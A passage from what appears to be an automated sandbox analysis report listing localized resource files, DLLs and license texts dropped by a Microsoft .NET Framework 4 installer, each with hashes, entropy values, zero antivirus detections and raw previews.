                  SHA-256:FCBB619DEB2D57B791A78954B0342DBB2FEF7DDD711066A0786C8EF669D2B385
                  SHA-512:FA03D55A4AAFE94CBF5C134A65BD809FC86C042BC1B8FFBC9A2A5412EB70A468551C05C44B6CE81F638DF43CCA599AA1DD6F42F2DF3012C8A95A3612DF7C821E
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".A. .t.e.l.e.p...t.Q. .n.e.m. .f.u.t.t.a.t.h.a.t... .k.o.m.p.a.t.i.b.i.l.i.s. ...z.e.m.m...d.b.a.n... .T.o.v...b.b.i. .i.n.f.o.r.m...c.i... .a. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.F.o.n.t.o.s. .f...j.l.b.a.n.&.l.t.;./.A.&.g.t.;. .o.l.v.a.s.h.a.t....."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.W.a.r.

                  C:\6231e956ee22143d5ce90e\1038\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):18776
                  Entropy (8bit):5.210200964255437
                  Encrypted:false
                  SSDEEP:384:mTW68sRjOP2w99bfc/ta4V3mfCHpeEVn3i0MC4wWqyWpLXci2jpv5nNY:m+Aj0R99bfKtHVWfCJeEVn3i0MC44pMQ
                  MD5:C1BF3D63576D619B24837B72986DFAD4
                  SHA1:7392C7B478090831EB2E213BF1224E4F16FDD4D8
                  SHA-256:0995DD70D260673F954DE54FDBA53D55218C536034BE6342E135C7D514073869
                  SHA-512:597F327DF59B0F0CF39FC8753154E55CA8053F489F3FAA5A59C3E7F2115148FE4B49313A94C7CE802AF4B9A1D3FDDF92D3EDC60246E68B17F4CA57CFA3B33397
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................P.......(....@.......................................... ..4+...........2..X............................................................................................text...G...........................@..@.rsrc....0... ...,..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1038\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1250, default language ID 1038
                  Category:dropped
                  Size (bytes):4254
                  Entropy (8bit):5.3269919672171735
                  Encrypted:false
                  SSDEEP:96:k8BfeEfTtXeTjXyZD+dtQRzrGJ6JwtxYMpDNeb6CZXKEp5/Eupwy9Ep+LM2:kgffCXPdOzSJ6JwkOBjC0V2
                  MD5:58E6E6D6258994D6A08C6101F11F302D
                  SHA1:DF2DB9DA70204CBB539D17DF860A6C45613EF086
                  SHA-256:70546BABD12AFAF9FFCC437712DF5491DDF9A6AF8AB4F319FC0EA23AFB186726
                  SHA-512:A4A992E2E44C8594E22849C3ED9019C32CF4085E90CC45F0E45A210E68A574A47BF1A06FA405B1F725E1A4DEFBD27E46FE52F3E7A829C8288EC0208BEAC3238B
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg1250\deff0\deflang1038\deflangfe1038{\fonttbl{\f0\fswiss\fprq2\fcharset238 Tahoma;}{\f1\froman\fprq2\fcharset238{\*\fname Times New Roman;}Times New Roman CE;}{\f2\fswiss\fprq2\fcharset238 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\ltrpar\nowidctlpar\sb120\sa120\b\f0\fs20 KIEG\'c9SZ\'cdT\'d5 LICENCFELT\'c9TELEK MICROSOFT SZOFTVERHEZ\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \ltrpar\nowidctlpar\sb120\sa120\f0 MICROSOFT .NET-KERETRENDSZER 4 MICROSOFT WINDOWS OPER\'c1CI\'d3S RENDSZERHEZ\f1\par..\f0 MICROSOFT .NET-KERETRENDSZER 4 \'dcGYF\'c9LPROFIL MICROSOFT WINDOWS OPER\'c1CI\'d3S RENDSZERHEZ\par..\'c9S A KAPCSOL\'d3D\'d3 NYELVI CSOMAGOK\f1\par..\pard\ltrpar\nowidctlpar\sb120\sa120\b0\f0 Ezen kieg\'e9sz\'edt\'e9s licenc\'e9t a Microsoft Corporation (vagy az \'d6n lakhelye alapj\'e1n egy t\'e1rsv\'e1llalata) ny\'fajtja \'d6nnek.\b \b0\'d6n akkor haszn\'e1lhatja ezt a kieg\'e9sz\'edt\'e9st, ha rende

                  C:\6231e956ee22143d5ce90e\1040\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (679), with CRLF line terminators
                  Category:dropped
                  Size (bytes):80060
                  Entropy (8bit):3.556654700353072
                  Encrypted:false
                  SSDEEP:384:4wFACg1fPK/YBZ3tMa9eIzNZNs4fzWmJVo5HnscuRv:/ACgNKjaVLJi2
                  MD5:EDA1EC689D45C7FAA97DA4171B1B7493
                  SHA1:807FE12689C232EBD8364F48744C82CA278EA9E6
                  SHA-256:80FAA30A7592E8278533D3380DCB212E748C190AAEEF62136897E09671059B36
                  SHA-512:8385A5DE4EB6B38169DD1EB03926BC6D4604545801F13D99CEE3ACEDE3D34EC9F9D96B828A23AE6246809DC666E67F77A163979679956297533DA40F9365BF2C
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".I.m.p.o.s.s.i.b.i.l.e. .e.s.e.g.u.i.r.e. .i.l. .p.r.o.g.r.a.m.m.a. .d.i. .i.n.s.t.a.l.l.a.z.i.o.n.e. .i.n. .m.o.d.a.l.i.t... .d.i. .c.o.m.p.a.t.i.b.i.l.i.t..... .P.e.r. .u.l.t.e.r.i.o.r.i. .i.n.f.o.r.m.a.z.i.o.n.i.,. .v.e.d.e.r.e. .i.l. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.f.i.l.e. .R.e.a.d.m.e.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.

                  C:\6231e956ee22143d5ce90e\1040\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):18264
                  Entropy (8bit):5.142702232041524
                  Encrypted:false
                  SSDEEP:384:77n6Tg7AtONBKHno5hWXeWFLXci2jpvz2:7XAbs+ZMi2jpvz2
                  MD5:E4860FC5D4C114D5C0781714F3BF041A
                  SHA1:864CE88E8AB1DB9AFF6935F9231521B6B72D5974
                  SHA-256:6B2D479D2D2B238EC1BA9D14F9A68DC552BC05DCBCC9007C7BB8BE66DEFC643B
                  SHA-512:39B0A97C4E83D5CCA1CCCCE494831ADBC18DF1530C02E6A2C13DAE66150F66A7C987A26CECB5587EA71DD530C8BE1E46922FE8C65AE94145D90B0A057C06548D
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........,...............................................P......^.....@.......................................... ...)...........0..X............................................................................................text...G...........................@..@.rsrc....0... ...*..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1040\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1040
                  Category:dropped
                  Size (bytes):3643
                  Entropy (8bit):5.117983582325958
                  Encrypted:false
                  SSDEEP:96:rwBfYOP/TfVTJDwXtxjCJEZ+jw/Njppm/F/ZaFgcT/okOct2:yfYXRzMjsA9/EFxDt2
                  MD5:6C9C19BFED724146512493F05CBA4F0F
                  SHA1:DE249075AAC70D4661ED559FD64DE9F33DE43DB5
                  SHA-256:C405AB9949C10619742AF1AF153521FFD85C16821324C16233B025F982A98CAD
                  SHA-512:709A522477121EE32152DBE7F90EE4B597621761854B55A791C07C9521FFB899A21C0B84351A68AC3A583B43A91AC5164EF34259D153D21B47C404B4313893B3
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg1252\deff0\deflang1040\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\ltrpar\nowidctlpar\sb120\sa120\b\f0\fs20 CONDIZIONI DI LICENZA SOFTWARE MICROSOFT SUPPLEMENTARI\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \ltrpar\nowidctlpar\sb120\sa120\f0 MICROSOFT .NET FRAMEWORK 4 PER IL SISTEMA OPERATIVO MICROSOFT WINDOWS\f1\par..\f0 MICROSOFT .NET FRAMEWORK 4 CLIENT PROFILE PER IL SISTEMA OPERATIVO MICROSOFT WINDOWS\par..E RELATIVI LANGUAGE PACK \f1\par..\pard\ltrpar\nowidctlpar\sb120\sa120\b0\f0 Microsoft Corporation (o, in base al luogo di residenza del licenziatario, una delle sue consociate) concede in licenza al licenziatario il presente supplemento.\b \b0 Qualora il licenziatario sia autorizzato a utilizzare il software per il sistema operativo Microsoft Windows (per il qua

                  C:\6231e956ee22143d5ce90e\1041\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (538), with CRLF line terminators
                  Category:dropped
                  Size (bytes):68226
                  Entropy (8bit):4.416259780276574
                  Encrypted:false
                  SSDEEP:384:4wVzQOXe7GoXHoMIpYnxKJMlvWy0aO8rRnfJGnav:3QOu7GlCnkJMlvWy0aO8rRnfJ5
                  MD5:64FFA6FF8866A15AFF326F11A892BEAD
                  SHA1:378201477564507A481BA06EA1BC0620B6254900
                  SHA-256:7570390094C0A199F37B8F83758D09DD2CECD147132C724A810F9330499E0CBF
                  SHA-512:EA5856617B82D13C9A312CB4F10673DBC4B42D9AC5703AD871E8BDFCC6549E262E61288737AB8EBCF77219D24C0822E7DACF043D1F2D94A97C9B7EC0A5917EF2
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."..0.0.0.0.0.0o0.N.c.0.0.0g0.[L.g0M0~0[0.0.0s.0}k0d0D0f0o0.0&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;..0.0.0.0 ..0.0.0&.l.t.;./.A.&.g.t.;..0.SgqW0f0O0`0U0D0.0"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.W.a.r.n.i.n.g.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t. ...N.E.T. .F.r.a.m.e.w.o.r.k. ..0.0.0

                  C:\6231e956ee22143d5ce90e\1041\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):15704
                  Entropy (8bit):5.929554826924656
                  Encrypted:false
                  SSDEEP:192:Cg0rjUfwtW1+/FuZhS5CSJk/lhAW5kEW1QKPnEtObMacxc8hjeyveCXPX:5hC7mS53JkNSW5kEW1LXci2jpvJ
                  MD5:278FD7595B580A016705D00BE363612F
                  SHA1:89A299A9ABECB624C3606267371B7C07B74B3B26
                  SHA-256:B3ECD3AEA74D0D97539C4971C69F87C4B5FE478FC42A4A31F7E1593D1EBA073F
                  SHA-512:838D23D35D8D042A208E8FA88487CD1C72DA48F336157D03B9549DD55C75DA60A83F6DD2B3107EB3E5A24F3FAD70AE1629ACC563371711117C3C3E299B59D838
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!........."...............................................@............@.......................................... ..h............&..X............................................................................................text...G...........................@..@.rsrc.... ... ... ..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1041\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 932, default language ID 1033
                  Category:dropped
                  Size (bytes):10125
                  Entropy (8bit):4.144479793761895
                  Encrypted:false
                  SSDEEP:192:tEf13/qC2+PCsANROmuuU8EhZFJEj2VQoKOwyWAOxzpOh+uqaJgt2:tBtQoCnGDzhuqz2
                  MD5:75CE7D721BDB78F1020ACF2B206B1859
                  SHA1:CC0418DE8806811D21B19005BC5DB0092767F340
                  SHA-256:2ABDC7246E95E420B4E66CC3C07ACDB56FF390BCD524E0D8525D5BF345030A5A
                  SHA-512:FAFAC863DC825FC0B104751FE62CDA2C43048683F9D7E45659784206EA67F1AA98EA282AFC2A3A4BA287D03F73B21EC1E2F8C02F5D036CE96CAEFD851A5389E5
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg932\deff0\deflang1033\deflangfe1041{\fonttbl{\f0\fmodern\fprq2\fcharset128 \'82\'6c\'82\'72 \'82\'6f\'83\'53\'83\'56\'83\'62\'83\'4e;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\froman\fprq2\fcharset0 Times New Roman;}{\f3\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}{\info{\horzdoc}{\*\lchars $(<?[\'5c\'7b\'81\'92\'5c\'81\'e1\'81\'65\'81\'67}{\*\fchars !%'),.:\'3b>?]\'7d\'81\'91\'81\'8b\'81\'45\'81\'e2\'81\'66\'81\'68\'81\'f1}}..\viewkind4\uc1\pard\ltrpar\nowidctlpar\sb120\sa120\lang1041\b\f0\fs20\'83\'7d\'83\'43\'83\'4e\'83\'8d\'83\'5c\'83\'74\'83\'67\lang1033\f1 \lang1041\f0\'83\'5c\'83\'74\'83\'67\'83\'45\'83\'46\'83\'41\'92\'c7\'89\'c1\'83\'89\'83\'43\'83\'5a\'83\'93\'83\'58\'8f\'f0\'8d\'80\lang1033\f2\par..\pard\brdrb\brdrs\brdrw10\brsp20 \ltrpar\nowidctlpar\sb120\sa120\f1 MICROSOFT WINDOWS \lang1041\f0\'83\'49\'83\'79\'83\'8c\'81\'5b\'83\'65\'83\'42\'83\'93\'83\'4f\lang1033\f1 \lang1041\

                  C:\6231e956ee22143d5ce90e\1042\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (509), with CRLF line terminators
                  Category:dropped
                  Size (bytes):65238
                  Entropy (8bit):4.384411743704147
                  Encrypted:false
                  SSDEEP:384:4wsx1QzSzXLGKgooDQA0pb5ywW4JSUQvEQzH/dv:egtqpb5yw5Jg
                  MD5:78C16DA54542C9ED8FA32FED3EFAF10D
                  SHA1:AD8CFE972C8A418C54230D886E549E00C7E16C40
                  SHA-256:E3E3A2288FF840AB0E7C5E8F7B4CFB1F26E597FB17CFC581B7728116BD739ED1
                  SHA-512:D9D7BB82A1D752A424BF81BE3D86ABEA484ACBB63D35C90A8EE628E14CF34A7E8A02F37D2EA82AA2CE2C9AA4E8416A7A6232C632B7655F2033C4AAAB208C60BF
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".8.X. .......... .$.X. ...\.....D. ....`. ... ........ ...8.\. .....@. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;..... ..... ...|.&.l.t.;./.A.&.g.t.;.D. .8.p.X.....$..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.W.a.r.n.i.n.g.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t. ...N.E.T. .F.r.a.m.e.

                  C:\6231e956ee22143d5ce90e\1042\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):15192
                  Entropy (8bit):5.9622226182057325
                  Encrypted:false
                  SSDEEP:192:Hpix6f+jYxzekdPKNS0N7gVCAMWpCeWRQKPnEtObMacxc8hjeyveCXmo+:3ibMj0lgRMWpCeWRLXci2jpv8o+
                  MD5:FCFD69EC15A6897A940B0435439BF5FC
                  SHA1:6DE41CABDB45294819FC003560F9A2D1E3DB9A7B
                  SHA-256:90F377815E3C81FC9AE5F5B277257B82811417CA3FFEACD73BAB530061B3BE45
                  SHA-512:4DC3580B372CEE1F4C01569BAEA8CD0A92BC613648DB22FF1855920E47387A151964B295A1126597B44BB0C596E8757B1FCF47CDA010F9BBB15A88F97F41B8BF
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!......... ...............................................@......v.....@.......................................... ...............$..X............................................................................................text...G...........................@..@.rsrc.... ... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1042\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 949, default language ID 1033
                  Category:dropped
                  Size (bytes):12687
                  Entropy (8bit):4.39170120937692
                  Encrypted:false
                  SSDEEP:192:MUf0PVF4MjeKojIfE6wK+b/mIr4tIAcAIce5rD6O1IuonKZim+dfNAW6qUK84Zn+:aK0wB/Tr4TmckIuCm+TAWdUN/re2
                  MD5:A3B318528E286EC387E81934E5D3B081
                  SHA1:CEDCC08D008E21C0E88EEF8354DAB8CFF2EF51AD
                  SHA-256:2954EDB51628942A37A9BF58DA628932638C35ED61744892E42623FE4CCD06A0
                  SHA-512:3544D9BE654C859CDE2B9CD8614C5ABED89E488DFEE2F51AB92A509873DC504942E375388D12379DE9D29DEEDE662667F8CC4BC6D2DCD50C5AC865CE6C44352D
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg949\deff0\deflang1033\deflangfe1042{\fonttbl{\f0\fswiss\fprq2\fcharset0 Arial;}{\f1\froman\fprq2\fcharset129 \'b9\'d9\'c5\'c1;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}{\info{\horzdoc}{\*\lchars $(<?[\'5c\'7b\'a1\'cc\'a1\'cd\'a1\'ec\'a1\'ae\'a1\'b0}{\*\fchars !%'),.:\'3b>?]\'7d\'a1\'cb\'a1\'c6\'a1\'ed\'a1\'af\'a1\'b1}}..\viewkind4\uc1\pard\ltrpar\nowidctlpar\sb120\sa120\b\f0\fs28 MICROSOFT \lang1042\f1\'bc\'d2\'c7\'c1\'c6\'ae\'bf\'fe\'be\'ee\lang1033\f0 \lang1042\f1\'c3\'df\'b0\'a1\lang1033\f0 \lang1042\f1\'bb\'e7\'bf\'eb\'b1\'c7\lang1033\f0 \lang1042\f1\'b0\'e8\'be\'e0\'bc\'ad\lang1033\f0\par..\pard\brdrb\brdrs\brdrw10\brsp20 \ltrpar\nowidctlpar\sb120\sa120\fs20 MICROSOFT WINDOWS \lang1042\f1\'bf\'ee\'bf\'b5\lang1033\f0 \lang1042\f1\'c3\'bc\'c1\'a6\'bf\'eb\lang1033\f0 MICROSOFT .NET FRAMEWORK 4\par..MICROSOFT WINDOWS \lang1042\f1\'bf\'ee\'bf\'b5\lang1033\f0 \lang1042\f1\'c3\'bc\'c1\'a6\'bf\'eb\lang1033\f0 MICROSOFT .N

                  C:\6231e956ee22143d5ce90e\1043\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (658), with CRLF line terminators
                  Category:dropped
                  Size (bytes):79634
                  Entropy (8bit):3.5656146816718155
                  Encrypted:false
                  SSDEEP:384:4wCsfDNzgDbRiRVqxdYRF405vYtyVB1HaAzTGZUeJvuQFKhlQ5gwJBKQauJf1tSY:jbZKbRyVqb82IB+GlQ5gwJBzauJzkA
                  MD5:6506B4E64EBF6121997FA227E762589F
                  SHA1:71BC1478C012D9EC57FC56A5266DD325B7801221
                  SHA-256:415112AE783A87427C2FADD7B010ADE4F1A7C23B27E4B714B7B507C16B572A1C
                  SHA-512:39024EA9D42352F7C1BD6FEFE0574054ECEB4059F773CFAEB26C42FAADA2540AE95FB34718D30CCB6DA157D2597F80D12A024461FBD0E8D510431BA6FFA81EC2
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".S.e.t.u.p. .k.a.n. .n.i.e.t. .w.o.r.d.e.n. .u.i.t.g.e.v.o.e.r.d. .i.n. .d.e. .c.o.m.p.a.t.i.b.i.l.i.t.e.i.t.s.m.o.d.u.s... .R.a.a.d.p.l.e.e.g. .h.e.t. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.L.e.e.s.m.i.j.-.b.e.s.t.a.n.d.&.l.t.;./.A.&.g.t.;. .v.o.o.r. .m.e.e.r. .i.n.f.o.r.m.a.t.i.e..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.

                  C:\6231e956ee22143d5ce90e\1043\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):19288
                  Entropy (8bit):5.101791972320269
                  Encrypted:false
                  SSDEEP:384:3124Y0WDDkowwX8OZjv1t2WlLeWvLXci2jpvc:lYZhzMi2jpvc
                  MD5:76D6E9F15D842E6A56EE42C9C5CCABCA
                  SHA1:36E6FA7C032F69DEA2C34B5934AC556AAE738CBB
                  SHA-256:A961DE62DA74B05EAF593BB78A4A5A4C5586FE2D0D4A45D99675D03E7F01D7C5
                  SHA-512:F9E04AA073EBF98BDD13F6A0A9214DDA42CD5FDFEC24873CF171B77D31408CA6698BF0C9D931A93BDD7A54FE55A9E6394F2C8050C7E847455E4A36585E36D6EB
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........0...............................................P......ky....@.......................................... ...,...........4..X............................................................................................text...G...........................@..@.rsrc....0... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1043\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):3546
                  Entropy (8bit):5.203062637938479
                  Encrypted:false
                  SSDEEP:96:rTBfrnjTsVT08DfQhtJlIcm3wEM8LPMpDlGu3x+O0H+Ozo+SBT+OZt6S2:ZfLltGwEMAPOkukO0eONNOT2
                  MD5:305AE79EC7D0E8D1F826D70D7D469BB4
                  SHA1:BBE8FFD83FCA6C013A20CDEE6EA0AFFD988C4815
